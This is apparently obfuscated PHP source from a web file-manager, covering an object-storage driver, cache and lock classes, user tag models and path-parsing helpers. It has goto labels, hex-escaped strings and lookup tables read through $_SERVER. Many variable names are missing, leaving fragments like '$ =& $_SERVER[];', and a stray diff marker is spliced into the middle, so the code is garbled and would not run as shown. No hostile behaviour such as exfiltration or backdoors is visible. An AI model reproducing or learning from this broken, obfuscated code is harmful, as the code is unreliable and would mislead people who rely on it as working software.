$[33] => $[240], $[179] => $this->ext($鹄), $[89] => isset($[$[89]]) ? $[$[89]] : 0); if ($풑) { return $; } $[$[241]] = $[$[98]] = 0; $[$[242]] = $[$[243]] = !0; if (empty($)) { $ = $this->objectMeta($鹄); if (!$) { return $; } } if (isset($[$[244]]) && $[$[244]]) { $[$[245]] = $[$[244]]; } if (isset($[$[216]])) { $[$[98]] = $[$[216]]; } if (isset($[$[89]])) { $[$[89]] = $[$[89]]; } return $; } private function folderInfo($, $ќ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[97] => $this->getPathOuter($[8] . $), $[33] => $[88]); if ($ќ) { return $; } $[$[241]] = $[$[98]] = 0; $[$[242]] = $[$[243]] = !0; if ($ == $[12]) { return $; } if (empty($)) { $ = $this->objectMeta(trim($, $[8]) . $[8]); } if (isset($[$[216]])) { $[$[241]] = $[$[216]]; } return $; } private function fileList($ިє, $΍ = '', $ֵ = 0) { $ =& $_SERVER[]; $ = rtrim($ިє, $[8]) . $[8]; $ = $this->listObjs($, null, null, $΍); if (!$) { return array($[95] => array(), $[96] => array()); } $ = $Ϲ = array(); foreach ($[$[246]] as $ٙ) { $ = $ٙ[$[32]]; if ($ == $) { continue; } $ = isset($ٙ[$[89]]) ? $ٙ[$[89]] : 0; $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $ٙ); if ($) { $[] = $; continue; } $Ϲ[] = $ֵ ? $ٙ : $; } foreach ($[$[247]] as $ٙ) { $[] = $ٙ[$[32]]; $this->cacheMethodInfoSet($ٙ[$[32]], !0); } $this->cacheMethodInfoSet($ިє, !0); return array($[95] => $, $[96] => $Ϲ); } private function listObjs($, $Ǵ = null, $ = null, $֪Ɉ = null) { $ڲ =& $_SERVER[]; $ = trim($, $ڲ[8]); $žߥ = empty($) && $ !== $ڲ[238] ? $ڲ[12] : $ . $ڲ[8]; return $this->client->getBucket($this->bucket, $žߥ, $Ǵ, $, $֪Ɉ, !0); } public function has($㐑, $ = false, $͡ = true) { $ =& $_SERVER[]; $㐑 = trim($㐑, $[8]); $ݻϴ = empty($㐑) && $㐑 !== $[238] ? $[12] : $㐑 . $[8]; $ם = null; $ = 500; $Ń = $[8]; $ = $ņ = array(); while (!0) { $Զ͝ = $this->listObjs($㐑, $ם, $, $Ń); if (!$Զ͝) { break; } $ם = $Զ͝[$[248]]; $󣭥 = $Զ͝[$[246]]; $㵾 = $Զ͝[$[247]]; if (empty($󣭥) && empty($㵾)) { break; } if (count($󣭥) == 1 && $󣭥[0][$[32]] == $ݻϴ) { break; } if ($) { if (count($󣭥)) { $󣭥 = array_column($󣭥, $[32]); $ = array_merge($, $󣭥); } if (count($㵾)) { $㵾 = array_column($㵾, $[32]); $ņ = array_merge($ņ, $㵾); } if ($ם === null) { break; } continue; } if ($͡) { if (!empty($󣭥)) { if (count($󣭥) > 1 || isset($󣭥[0][$[32]]) && $󣭥[0][$[32]] != $ݻϴ) { return !0; } } } else { if (!empty($㵾)) { return !0; } } if ($ם === null) { break; } } if ($) { $ = array_diff($, array($ݻϴ)); $ = count(array_unique($)); $ņ = count(array_unique($ņ)); return array($[249] => $, $[250] => $ņ); } return !1; } public function listAll($) { $ =& $_SERVER[]; $𗺵 = $this->fileList($, $[12], !0); $ = array_to_keyvalue($𗺵[$[96]], $[32]); foreach ($𗺵[$[95]] as $ϳ) { if (is_string($ϳ)) { $[$ϳ] = array($[89] => 0); } } return $this->listAllFiles($, $); } public function canRead($ڮ) { $ =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $ڮ); if (!$) { return !1; } return in_array($, array($[251], $[252], $[253])) ? !0 : !1; } public function canWrite($쉢) { $ =& $_SERVER[]; $ۜć = $this->client->getAccessControlPolicy($this->bucket, $쉢); if (!$ۜć) { return !1; } return in_array($ۜć, array($[251], $[252])) ? !0 : !1; } public function getContent($) { return $this->client->getObject($this->bucket, $); } public function setContent($ת, $õ = '', $ = false) { $ =& $_SERVER[]; $ת = $ ? trim($ת, $[8]) . $[8] : $ת; $퓷 = get_file_mime(get_path_ext($ת)); $Ӻ = $this->client->putObject($õ, $this->bucket, $ת, $[239], array(), $퓷); if (!$Ӻ) { return !1; } if ($) { return !0; } return $Ӻ ? !0 : !1; } public function fileSubstr($ԗ, $, $鐅) { $ = $ + $鐅 - 1; return $this->client->getObject($this->bucket, $ԗ, array($_SERVER[][254] => "\142\x79\164\145\x73\x3d{$}\x2d{$}")); } public function upload($άߋ, $, $ = false, $ۉ = REPEAT_REPLACE) { $͖ =& $_SERVER[]; $Ȉ͔ = array($͖[255] => @md5_file($)); $ = array($͖[256] => get_file_mime(get_path_ext($άߋ))); if (IO::size($) <= 1024 * 1024 * 200) { $І = $this->client->putObjectFile($, $this->bucket, $άߋ, $͖[239], $Ȉ͔, $); return !empty($І) ? $this->getPathOuter($άߋ) : !1; } $ŷ = $this->client->multiUploadObject($, $this->bucket, trim($άߋ, $͖[8]), $Ȉ͔, $); return $ŷ ? $this->getPathOuter($άߋ) : !1; } public function download($ωӅ, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $ȩ = $this->client->getObject($this->bucket, $ωӅ, array(), $); return $ȩ !== !1 ? $ : !1; } public function link($퓔, $䍶 = array()) { $剓 =& $_SERVER[]; if ($this->signVer == $剓[257]) { return $this->client->getAuthenticatedURL($this->bucket, $퓔, 3600 * 12, $䍶); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($퓔, $剓[8]), 3600 * 12, $this->region, array(), !0, $䍶); } public function fileOut($Ƨ, $рږ = false, $ = false, $ = '') { $ٍԉ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($Ƨ, $рږ, $, $); } if (!$) { $ = $this->pathThis($Ƨ); } $̟ = get_file_mime(get_path_ext($)); if ($̟ == $ٍԉ[258]) { return parent::fileOut($Ƨ, $рږ, $, $); } $ˣՅ = array($ٍԉ[259] => $̟); if ($рږ) { $ˣՅ[$ٍԉ[260]] = $ٍԉ[261] . rawurlencode($); } else { } $ = $this->link($Ƨ, $ˣՅ); $this->fileOutLink($); } public function fileOutServer($О, $ = false, $ = false, $̫ = '') { parent::fileOut($О, $, $, $̫); } public function fileOutImageServer($ݛ, $ = 250) { parent::fileOutImage($ݛ, $); } public function hashMd5($Ι, $ = '') { $ȶ = $this->objectMeta($Ι); if (!$ȶ) { return !1; } $ = $ ? $ : _get($ȶ, $_SERVER[][262]); return $; } public function uploadFormData($˒, $Ԭ = 3600) { $鄆 =& $_SERVER[]; $ = $this->pathFather($˒); $ = $this->client->getHttpUploadPostParams($this->bucket, $, $鄆[239], $Ԭ); return array_merge((array) $, array($鄆[218] => $this->getHost())); } public function multiUploadFormData($؆, $ӹȑ = 3600) { $ =& $_SERVER[]; $鮱 = gmdate($[263]); $ = array(); $ = $this->client->getUploadId($this->bucket, $؆, $); if (!$) { return !1; } return array($[264] => $, $[218] => $this->getHost() . $[8] . $this->pathEncode($؆), $[265] => $鮱, $[107] => $؆); } public function multiUploadAuthData($줄թ, $䴙 = array()) { $ =& $_SERVER[]; $ٞ = isset($䴙[$[265]]) ? $䴙[$[265]] : gmdate($[263]); $η = isset($䴙[$[179]]) ? $䴙[$[179]] : $[12]; $Ѷ = $䴙[$[107]]; unset($䴙[$[107]]); if (isset($䴙[$[266]])) { $䴙[$[265]] = $ٞ; return $this->listUploadParts($Ѷ, $䴙); } $ = array($[267], $[12], $[133], $[12], "\170\x2d\141\155\172\x2d\144\x61\164\x65\72{$ٞ}", $[8] . $this->bucket . $[8] . $this->pathEncode($Ѷ) . $η); if (strpos($η, $[268]) === 0) { $[0] = $[269]; } if (isset($䴙[$[270]]) && $䴙[$[270]] == $[271]) { $[0] = $[271]; } $ɚ = implode($[65], $); $ = base64_encode(hash_hmac($[272], $ɚ, $this->secret, !0)); $ = $[273] . $this->accessKey . $[4] . $; if (strpos($η, $[268]) === 0) { return array($[274] => $, $[265] => $ٞ); } return $; } public function listUploadParts($Ț, $π諪 = array()) { $ =& $_SERVER[]; $Ο = str_replace($[275], $[12], $π諪[$[179]]); $֥ȏ = $this->client->listParts($this->bucket, $Ț, $Ο); if (!$֥ȏ) { return !1; } unset($π諪[$[266]], $π諪[$[270]]); $π諪[$[107]] = $Ț; $ϔ = $this->multiUploadAuthData($Ț, $π諪); if (empty($ϔ)) { return !1; } return array($[274] => $ϔ, $[265] => $π諪[$[265]], $[276] => $֥ȏ); } public function getHost() { $ =& $_SERVER[]; $ǜ䓋 = parent::getHost(); if (!isset($this->osType)) { $this->osType = $this->getType(); } if (!in_array($this->osType, array($[80], $[74], $[79], $[72]))) { return $ǜ䓋 . $[8] . $this->bucket; } $ǜ䓋 = explode($[220], $ǜ䓋); return $ǜ䓋[0] . $[220] . $this->bucket . $[10] . $ǜ䓋[1]; } public function size($ޟ) { $򈠐 = $this->objectMeta($ޟ); return $򈠐 ? $򈠐[$_SERVER[][89]] : 0; } public function info($ը) { if ($this->isFolder($ը)) { return $this->folderInfo($ը); } else { if ($this->isFile($ը)) { return $this->fileInfo($ը); } } return !1; } public function exist($İ) { return $this->isFile($İ) || $this->isFolder($İ); } public function isFile($Ɔ) { return !$this->isFolder($Ɔ) && $this->objectMeta($Ɔ); } public function isFolder($憎) { return $this->cacheMethod($_SERVER[][189], $憎); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][191], $); } protected function _objectMeta($ꀆ) { $ =& $_SERVER[]; $ꀆ = rtrim($ꀆ, $[8]); try { $Ȏ = $this->client->getObjectInfo($this->bucket, $ꀆ); if (!isset($Ȏ[$[262]]) && isset($Ȏ[$[277]])) { $Ȏ[$[262]] = $Ȏ[$[277]]; } } catch (Exception $) { $Ȏ = !1; } if (!$Ȏ) { } return $Ȏ; } protected function _isFolder($؃爭) { $҇ː =& $_SERVER[]; $؃爭 = rtrim($؃爭, $҇ː[8]); if ($؃爭 == $҇ː[12] || $؃爭 == $҇ː[8]) { return !0; } $˧ = $this->client->getBucket($this->bucket, $؃爭, null, 1); if (empty($˧[$҇ː[246]])) { return !1; } $ߴ = $˧[$҇ː[246]][0][$҇ː[32]]; return stripos($ߴ, $؃爭 . $҇ː[8]) === 0 ? !0 : !1; if (substr($ߴ, -1) == $҇ː[8]) { return !0; } if (get_path_this($ߴ) == get_path_this($؃爭)) { return !1; } return !0; } public function listObject($خ) { return $this->fileList($خ, $_SERVER[][12], !0); } } goto A; bʼ: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\163\145\162\137\146\141\x76"; protected function cacheFunctionAlias($ڌ䞠) { $ =& $_SERVER[]; return array($[2093] => array($[2508] . USER_ID, $[2094])); } protected function listData() { $ܔ =& $_SERVER[]; $Dž = array($ܔ[1770] => USER_ID, $ܔ[566] => array($ܔ[2097], 0)); $ؐ曠 = $ܔ[2509]; $ = $this->field($ؐ曠)->where($Dž)->order($ܔ[2100])->select(); return $ ? $ : array(); } protected function addToTag($إ, $) { $ =& $_SERVER[]; if (!Model($[2244])->listData($)) { return !1; } if (is_numeric($إ)) { $Ե襽 = Model($[914])->pathInfo($إ); if (!$Ե襽) { return !1; } } else { $Ե襽 = IO::infoSimple($إ); if (!$Ե襽) { return !1; } $ɡ = $Ե襽[$[32]]; $㌷¿ = $Ե襽[$[33]]; if (isset($Ե襽[$[494]])) { $㌷¿ = $Ե襽[$[494]] == $[101] ? $[88] : $[240]; } } $̌ = array($[1770] => USER_ID, $[566] => $, $[504] => $إ, $[505] => $㌷¿ ? $㌷¿ : $[499], $[503] => $ɡ ? $ɡ : $[12], $[1982] => 0); if ($this->where($̌)->find()) { return !1; } return $this->add($̌); } protected function removeFromTag($, $) { $闣 =& $_SERVER[]; if (!Model($闣[2244])->listData($)) { return !1; } if (is_array($)) { $ = array($闣[7], $); } $ = array($闣[1770] => USER_ID, $闣[566] => $, $闣[504] => $); return $this->where($)->delete(); } protected function removeByTag($ψ) { $ۈ =& $_SERVER[]; if (!$ψ) { return !1; } $ = array($ۈ[1770] => USER_ID, $ۈ[566] => $ψ); return $this->where($)->delete(); } protected function removeBySource($) { $ =& $_SERVER[]; if (is_array($)) { $ = array($[7], $); } $ = array($[1770] => USER_ID, $[566] => array($[1103], 0), $[504] => $); return $this->where($)->delete(); } } \ No newline at end of file + goto D; D샶⡛: class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ՙ =& $_SERVER[ׇ]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $թ = $GLOBALS[$ՙ[6]][$ՙ[425]]; $ = $թ[$թ[$ՙ[899]]]; $ñ˻ = $թ[$ՙ[900]]; switch ($թ[$ՙ[899]]) { case $ՙ[21]: self::$handle = Model($ՙ[901]); break; case $ՙ[902]: self::$handle = new CacheRedis($, $ñ˻); break; case $ՙ[903]: self::$handle = new CacheMemcached($, $ñ˻); break; case $ՙ[230]: self::$handle = new CacheFile($, $ñ˻); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($ݻ) { if (is_array($ݻ) || is_object($ݻ)) { $ݻ = json_encode($ݻ); } $ݻ = rawurlencode($ݻ); return md5(KOD_SITE_ID . $_SERVER[ׇ][11] . $ݻ); } public static function get($, $ћ̻ = false) { $ҽǴ = self::key($); $ڡܲ = self::init(); if ($ћ̻) { return unserialize($ڡܲ->get($ҽǴ)); } if (!isset(self::$memoryCache[$ҽǴ])) { $ږ = $ڡܲ->get($ҽǴ); self::$memoryCache[$ҽǴ] = unserialize($ږ); } return self::$memoryCache[$ҽǴ]; } public static function set($ي, $з, $ = false) { $ =& $_SERVER[ׇ]; $ɸ = self::key($ي); if (isset(self::$memoryCache[$ɸ]) && self::$memoryCache[$ɸ] === $з) { return !0; } if ($ === 0) { self::$memoryCache[$ɸ] = $з; return !0; } $ܙ = self::init(); $蔗 = serialize($з); CacheLock::lock($ي . $[904]); $ߚ = $ܙ->set($ɸ, $蔗, $); self::$memoryCache[$ɸ] = $з; CacheLock::unlock($ي . $[904]); return $ߚ; } public static function getCall($Әʆ, $, $؈, $뾤 = array()) { $ =& $_SERVER[ׇ]; $疾ߠ = self::get($Әʆ); if ($疾ߠ || $疾ߠ === $[12]) { return $疾ߠ; } $疾ߠ = call_user_func_array($؈, $뾤); $疾ߠ = $疾ߠ ? $疾ߠ : $[12]; self::set($Әʆ, $疾ߠ, $); return $疾ߠ; } public static function remove($攜) { $ݎ = self::key($攜); unset(self::$memoryCache[$ݎ]); self::clearTimeout(); CacheLock::lock($攜); $ = self::init()->remove($ݎ); CacheLock::unlock($攜); return $; } public static function removeMemory($҂) { $ = self::key($҂); unset(self::$memoryCache[$]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[ׇ][905])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[ׇ][906])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($с𥓞, $̖) { $Ƶ =& $_SERVER[ׇ]; $this->cachePath = $с𥓞[$Ƶ[87]]; $this->prefix = $Ƶ[907]; $this->cacheTime = $̖; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($Տ) { $᲻ =& $_SERVER[ׇ]; $Տ = str_replace(array($᲻[908], $᲻[100], $᲻[76]), $᲻[909], $Տ); return $this->cachePath . $᲻[910] . $Տ . $᲻[911]; } public function set($Ӷ, $킛, $ے = false) { $ے = $ے ? $ے : $this->cacheTime; $տ = $this->getFile($Ӷ); if (file_put_contents($տ, $this->prefix . $킛, LOCK_EX)) { @touch($տ, intval(time() + $ے)); clearstatcache(); return !0; } @unlink($տ); return !1; } public function get($͎) { $к = $this->getFile($͎); if (file_exists($к) && filemtime($к) < time()) { @unlink($к); return !1; } $Ŋ = @file_get_contents($к); return substr($Ŋ, strlen($this->prefix)); } public function remove($䩙) { $Ӷ = $this->getFile($䩙); return @unlink($Ӷ); } public function deleteAll() { $ۓ =& $_SERVER[ׇ]; $ = scandir($this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $ۓ[911]) && strpos($, $ۓ[912])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[ׇ]; $Ė = scandir($this->cachePath); foreach ($Ė as $򟁾) { $Ԑ = $this->cachePath . $򟁾; if (strpos($Ԑ, $[911]) && strpos($Ԑ, $[912]) && filemtime($Ԑ) < time()) { @unlink($Ԑ); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[ׇ]; if (self::$handle) { return self::$handle; } $ = $GLOBALS[$[6]][$[425]]; self::$timeout = $[$[913]] ? $[$[913]] : 10; $ȿ = _get($GLOBALS[$[6]], $[914]); $ӂ = $[$[899]] ? $[$[899]] : $[230]; if ($ӂ == $[21] && $ȿ == $[13]) { $ӂ = $[230]; } switch ($ӂ) { case $[902]: self::$handle = new CacheLockRedis(); break; case $[903]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[230]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[915], $[916]); } return self::$handle; } private static function key($) { return $_SERVER[ׇ][917] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ = '') { self::$errorMsg = $; } public static function lockGlobal($ה, $ᝰ) { return self::lock($ה, $ᝰ, !0); } public static function lock($Ү, $ = false, $ = false) { $ɏ =& $_SERVER[ׇ]; $Ȏ = self::init(); $Ι = self::key($Ү); $ = $ ? $ : self::$timeout; $婖 = timeFloat(); $ = $Ȏ->lock($Ι, $); $ = timeFloat(); if (!$) { $¨馋 = "\154\x6f\x63\x6b\x20\145\162\x72\x6f\x72\73\153\145\x79\x3d{$Ү}\73\164\151\155\145\x3d{$}\73" . self::$errorMsg . $ɏ[74] . get_caller_msg(); $˧ = LNG($ɏ[918]) . "\50{$}\163\51\x2e" . LNG($ɏ[919]); $˧ .= $ɏ[920]; if (is_string(self::$errorMsg) && self::$errorMsg) { $˧ = $˧ . $ɏ[921] . self::$errorMsg; } write_log($ɏ[922] . sprintf($ɏ[923], timeFloat() - $婖) . $ɏ[924] . $¨馋 . $ɏ[925] . error_get_last(), $ɏ[916]); show_json($˧, !1); } if (!$) { self::$lockItem[$Ι] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ˎ = number_format(timeFloat() - $, 3); write_log($ɏ[926] . $Ү . $ɏ[927] . $ˎ, $ɏ[916]); } return $; } public static function lockGet($̃ȥ) { $ȃ = self::key($̃ȥ); if (self::$lockItem[$ȃ]) { return self::$lockItem[$ȃ]; } return self::init()->lockGet($ȃ); } public static function unlock($ڵϫ) { $ŀ =& $_SERVER[ׇ]; $ = self::key($ڵϫ); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($ŀ[928] . $ڵϫ, $ŀ[916]); } return; } public static function unlockRuntime() { $飢 =& $_SERVER[ׇ]; $׳ = self::init(); $Ýх = !1; foreach (self::$lockItem as $̬ => $) { if (!$) { continue; } $׳->unlock($̬); if (!$Ýх) { $Ýх = !0; write_log($飢[929] . $̬ . $飢[74] . get_caller_msg(), $飢[916]); continue; } write_log($飢[929] . $̬, $飢[916]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ݻ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($飢[930] . $ݻ . $飢[931] . ACTION, $飢[916]); } } public static function fileLock($ל) { $ =& $_SERVER[ׇ]; if (!$GLOBALS[$[932]]) { $GLOBALS[$[932]] = array(); } $GLOBALS[$[932]][$ל] = !1; $ = fopen(DATA_PATH . $ל . $[933], $[934]); if (!$) { return !1; } $GLOBALS[$[932]][$ל] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($ל); show_json($[935], !1); return !1; } public static function fileUnlock($ց) { $ =& $_SERVER[ׇ]; $ލ = $GLOBALS[$[932]][$ց]; if (!$ލ) { return; } $GLOBALS[$[932]][$ց] = !1; flock($ލ, LOCK_UN); fclose($ލ); } public static function fileUnlockAll() { $Ď =& $_SERVER[ׇ]; if (!isset($GLOBALS[$Ď[932]]) || !$GLOBALS[$Ď[932]]) { return; } foreach ($GLOBALS[$Ď[932]] as $ => $๝) { if (!$๝) { continue; } $GLOBALS[$Ď[932]][$] = !1; flock($๝, LOCK_UN); fclose($๝); } $GLOBALS[$Ď[932]] = array(); } } goto D쮭; cݮ: class KodIO { const KOD_SOURCE = "\x7b\163\157\165\x72\x63\x65\x7d"; const KOD_USER_RECYCLE = "\x7b\165\163\145\x72\x52\x65\143\x79\143\154\145\175"; const KOD_USER_FAV = "\173\x75\163\x65\162\x46\141\166\x7d"; const KOD_USER_FILE_TAG = "\173\x75\163\x65\x72\x46\151\154\145\x54\141\147\175"; const KOD_USER_FILE_TYPE = "\x7b\x75\163\145\162\106\x69\154\145\124\171\160\x65\175"; const KOD_GROUP_ROOT_SELF = "\x7b\x67\162\x6f\165\160\122\x6f\157\164\123\x65\154\146\x7d"; const KOD_USER_SHARE = "\173\165\163\x65\x72\x53\150\x61\162\x65\x7d"; const KOD_USER_SHARE_LINK = "\173\x75\163\145\x72\x53\150\x61\x72\145\x4c\x69\x6e\153\x7d"; const KOD_USER_SHARE_TO_ME = "\173\x73\150\141\162\145\x54\157\115\145\175"; const KOD_SHARE_ITEM = "\173\x73\150\141\162\145\111\x74\145\x6d\x7d"; const KOD_SHARE_LINK = "\x7b\x73\x68\141\162\145\111\x74\145\x6d\x4c\x69\x6e\153\175"; const KOD_SEARCH = "\173\163\x65\x61\x72\143\x68\175"; const KOD_BLOCK = "\x7b\x62\154\x6f\x63\x6b\175"; const KOD_IO = "\x7b\x69\157\x7d"; const KOD_USER_RECENT = "\173\165\163\145\x72\x52\x65\156\x63\x65\156\x74\175"; const KOD_USER_DRIVER = "\x7b\x64\x72\151\166\x65\162\x7d"; public static function typeList() { $ =& $_SERVER[ׇ]; return array($[1336] => self::KOD_SOURCE, $[1337] => self::KOD_USER_RECYCLE, $[1338] => self::KOD_USER_FAV, $[1339] => self::KOD_USER_FILE_TAG, $[1340] => self::KOD_USER_FILE_TYPE, $[1341] => self::KOD_GROUP_ROOT_SELF, $[1342] => self::KOD_USER_SHARE, $[1343] => self::KOD_USER_SHARE_LINK, $[1344] => self::KOD_USER_SHARE_TO_ME, $[1345] => self::KOD_SHARE_ITEM, $[1346] => self::KOD_SHARE_LINK, $[1347] => self::KOD_SEARCH, $[1348] => self::KOD_BLOCK, $[1349] => self::KOD_IO, $[1350] => self::KOD_USER_RECENT, $[1351] => self::KOD_USER_DRIVER); } public static function parse($ܷ) { $ =& $_SERVER[ׇ]; $ܷ = self::clear($ܷ); $ˊ = array_values(self::typeList()); preg_match($[1352], $ܷ, $ۨ); $Ϡ = array($[496] => !1, $[1353] => !1, $[493] => !1, $[87] => $ܷ, $[1251] => !1, $[1250] => $[12]); if (is_array($ۨ) && count($ۨ) == 5) { $մ = $[1354] . $ۨ[2] . $[403]; if (in_array($մ, $ˊ)) { $Ϡ[$[1251]] = $ۨ[1]; $Ϡ[$[33]] = $մ; $Ϡ[$[1355]] = substr($մ, 1, -1); $Ϡ[$[475]] = $ۨ[3]; } $Ϡ[$[1250]] = $ۨ[4]; } $ = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $Ϡ[$[1318]] = in_array($Ϡ[$[33]], $); return $Ϡ; } public static function isTruePath($ٓ) { $̠ =& $_SERVER[ׇ]; if (substr($ٓ, 0, 1) != $̠[1354]) { return !0; } if (strpos($ٓ, $̠[483]) === 0) { return !0; } if (strpos($ٓ, $̠[1322]) === 0) { return !0; } if (strpos($ٓ, $̠[1356]) === 0) { return !0; } if (strpos($ٓ, $̠[1357]) === 0) { return !0; } if (strpos($ٓ, $̠[1358]) === 0) { return !0; } return !1; } public static function clear($ёԺ) { $ =& $_SERVER[ׇ]; $ёԺ = str_replace(array($[1157], $[262]), $[53], $ёԺ); $ёԺ = str_replace($[100], $[8], $ёԺ); $ = $[1359]; if (substr($ёԺ, 0, 3) == $[1360]) { $ёԺ = substr($ёԺ, 3); } while (strstr($ёԺ, $)) { $ёԺ = str_replace($, $[8], $ёԺ); } $ёԺ = preg_replace($[1361], $[8], $ёԺ); if ($ёԺ == $[8]) { return $[8]; } $ёԺ = rtrim($ёԺ, $[8]); return $ёԺ; } public static function pathTrue($È) { $ =& $_SERVER[ׇ]; if (!$È) { return $[12]; } $È = str_replace($[592], $[8], str_replace($[1362], $[8], $È)); $È = str_replace($[592], $[8], str_replace($[1362], $[8], $È)); if (!strstr($È, $[1360])) { return $È; } $ϸ = explode($[8], $È); foreach ($ϸ as $ѓ => $) { if ($ !== $[1363]) { continue; } for ($ = $ѓ; $ >= 0; $--) { if ($ϸ[$] === $[10] || $ϸ[$] === $[1363] || $ϸ[$] === -1) { continue; } if ($ϸ[$] === $[12]) { $ϸ[$ѓ] = -1; break; } $ϸ[$ѓ] = -1; $ϸ[$] = -1; break; } } $‟տ = array(); foreach ($ϸ as $) { if ($ !== -1) { $‟տ[] = $; } } $칧 = implode($[8], $‟տ); if (strpos($칧, $[1364]) === 0) { $칧 = $[1360] . substr($칧, strlen($[1364])); } return $칧; } public static function pathUrlClear($) { $ =& $_SERVER[ׇ]; if (!$) { return $; } $ = rawurldecode($); $ = str_replace($[1362], $[8], $); if (strpos($, $[76]) > 0) { $ = substr($, 0, strpos($, $[76])); } if (strpos($, $[1365]) > 0) { $ = substr($, 0, strpos($, $[1365])); } return $; } public static function sourceID($Ѣ憦) { $lj =& $_SERVER[ׇ]; $ߖ = self::parse($Ѣ憦); if ($ߖ[$lj[33]] !== self::KOD_SOURCE) { show_json(LNG($lj[1366]), !1); } return $ߖ[$lj[475]]; } public static function make($򐔡) { if (!$򐔡) { return !1; } return self::makePath(self::KOD_SOURCE, intval($򐔡)); } public static function makeShare($, $) { return self::makePath(self::KOD_SHARE_ITEM, $, $); } public static function makeFileTypePath($̱Ӑ) { return self::makePath(self::KOD_USER_FILE_TYPE, $̱Ӑ); } public static function makeFileTagPath($呯) { return self::makePath(self::KOD_USER_FILE_TAG, $呯); } public static function makePath($, $ = '', $ = '') { $𝛥 =& $_SERVER[ׇ]; $ = substr($, 1, -1); $ڲ = $𝛥[1367] . $ . $𝛥[1368] . $ . $𝛥[1369]; $ڲ = $ ? $ڲ . $ . $𝛥[8] : $ڲ; return $ڲ; } public static function hashPath($, $ݎ = true) { $ =& $_SERVER[ׇ]; $ = is_array($) ? $ : IO::info($); $ϕ = _get($, $[1370], $[12]); if (!$ϕ && isset($[$[235]])) { $ϕ = trim($[$[235]], $[121]); } if (!$ϕ && isset($[$[193]]) && $[$[193]]) { $ = IO::info(KodIO::make($[$[193]])); $ϕ = _get($, $[1370], $[12]); } $憿 = md5($[$[87]] . $[$[79]] . $[$[88]]); if (!$ϕ && file_exists($[$[87]])) { $ϕ = Cache::get($憿 . $[1371]); $ϕ = !1; if (!$ϕ) { $ϕ = IO::hashSimple($[$[87]]); Cache::set($憿 . $[1371], $ϕ, 3600 * 24 * 30); } } if ($ݎ && !$ϕ) { } return $ϕ ? $ϕ : $憿; } public static function hashPathSafe($׺, $ = true) { $Ձ =& $_SERVER[ׇ]; $㉩ = self::hashPath($׺, $); return md5($㉩ . $Ձ[1372] . Model($Ձ[843])->get($Ձ[844])); } public static function initSystemPath() { $ =& $_SERVER[ׇ]; if (defined($[1373])) { return; } define($[1373], self::systemPath($[191])); define($[1374], self::systemPath($[1375])); define($[1376], self::systemPath($[1377])); define($[1378], self::systemPath($[1379])); IOHistory::bindEvent(); } public static function systemPath($޶ܰ) { $ =& $_SERVER[ׇ]; $삨 = $[1380] . ucfirst($޶ܰ); $ܰ = Model($[843])->get($삨); if ($ܰ) { return $ܰ; } if ($޶ܰ == $[191]) { $ܰ = self::make(Model($[897])->systemRootPathAdd($[605])); } else { $ܰ = self::systemPath($[191]); $ = self::sourceID($ܰ); $ܰ = self::make(Model($[897])->mkdir($, $޶ܰ)); } Model($[843])->set($삨, $ܰ); return $ܰ; } public static function systemFolder($) { $ܺ = IO_PATH_SYSTEM_SOURCE . $; $Ț = Cache::get($ܺ); if (!$Ț) { $IJ = IO::infoFullSimple($ܺ); if (!$IJ) { $Ț = IO::mkdir($ܺ, REPEAT_SKIP); } else { $Ț = $IJ[$_SERVER[ׇ][87]]; } Cache::set($ܺ, $Ț, 3600 * 10); } return $Ț; } public static function defaultDriver() { return Model($_SERVER[ׇ][840])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[ׇ]; $ď = self::defaultDriver(); return $[1381] . $ď[$[475]] . $[1369]; } public static function defaultDriverInit() { static $ަ = false; if ($ަ) { return $ަ; } $ަ = IO::init(self::defaultIO()); return $ަ; } public static function fileTypeList() { $ӌ =& $_SERVER[ׇ]; $ڳ = $GLOBALS[$ӌ[6]][$ӌ[1382]]; foreach ($ڳ as $ => $) { $ = $ӌ[1383] . $; $Ω = LNG($); if ($ != $Ω) { $ڳ[$][$ӌ[32]] = $Ω; } } return $ڳ; } public static function diskList($ = true) { $ = $_SERVER[ׇ][1384]; if ($) { $ = Cache::get($); if (is_array($)) { return $; } } $ = self::diskListGet(); Cache::set($, $, 60); return $; } public static function diskListGet() { $ =& $_SERVER[ׇ]; $ = array(); if ($GLOBALS[$[6]][$[1385]] == 